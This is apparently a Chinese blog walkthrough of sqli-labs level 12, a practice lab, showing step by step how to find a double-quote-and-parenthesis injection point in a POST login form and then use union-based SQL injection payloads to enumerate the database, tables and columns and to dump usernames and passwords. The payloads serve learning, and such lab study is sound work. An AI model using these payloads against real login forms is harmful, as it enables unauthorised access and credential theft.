sqli-labs关卡12(基于post提交的双引号闭合的字符型注入)通关思路

文章目录

  • 前言
  • 一、回顾第十一关知识点
  • 二、靶场第十二关通关思路
    • 1、判断注入点
    • 2、爆显位个数
    • 3、爆显位位置
    • 4、爆数据库名
    • 5、爆数据库表名
    • 6、爆数据库列名
    • 7、爆数据库数据
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


`

一、回顾第十一关知识点

第十一关也是我们正式的告别前十关的get类型注入,来到了post类型注入。简单知道了get类型的注入一般url会显示提交参数。而post类型的注入一般会隐蔽提交参数,得通过抓包才能发现,一般出现在登录框。这一关不同的地方就是字符型有些不同,其他没什么区别了。直接上代码和截图。

二、靶场第十二关通关思路

  • 1、判断注入点
  • 2、爆显位个数
  • 3、爆显位位置
  • 4、爆数据库名
  • 5、爆数据库表名
  • 6、爆数据库列名
  • 7、爆数据库数据

1、判断注入点

首先看到页面是一个登录框,明显是post类型的页面。使用万能语句1 or 1=1 和 1 or 1=2发现页面正常,所以排除数字型。输入1'发现页面还是正常,再试一试1"发现页面报错了报错信息为

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘“1"”) and password=(“”) LIMIT 0,1’ at line 1

通过报错信息可知它是一个双引号加括号的闭合。
闭合再试一下(如图所示)

1") or 1=1#
1") or 1=2#

发现1=2报错,1=1正常
sqli-labs关卡12(基于post提交的双引号闭合的字符型注入)通关思路_第1张图片
sqli-labs关卡12(基于post提交的双引号闭合的字符型注入)通关思路_第2张图片
所以此关是双引号加括号闭合

2、爆显位个数

注入语句为

1") order by 3#

sqli-labs关卡12(基于post提交的双引号闭合的字符型注入)通关思路_第3张图片

3、爆显位位置

注入语句为

1") union select 1,2#

sqli-labs关卡12(基于post提交的双引号闭合的字符型注入)通关思路_第4张图片

4、爆数据库名

注入语句为

1") union select user(),database()#

sqli-labs关卡12(基于post提交的双引号闭合的字符型注入)通关思路_第5张图片

5、爆数据库表名

注入语句为

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

sqli-labs关卡12(基于post提交的双引号闭合的字符型注入)通关思路_第6张图片

6、爆数据库列名

注入语句为

1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#

sqli-labs关卡12(基于post提交的双引号闭合的字符型注入)通关思路_第7张图片

7、爆数据库数据

注入语句为

1") union select group_concat(username),group_concat(password) from users #

sqli-labs关卡12(基于post提交的双引号闭合的字符型注入)通关思路_第8张图片


总结

这一关不同点在注入点,它是双引号加括号的闭合,其他都差不多。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

你可能感兴趣的:(sqli-labs靶场,web安全,sql)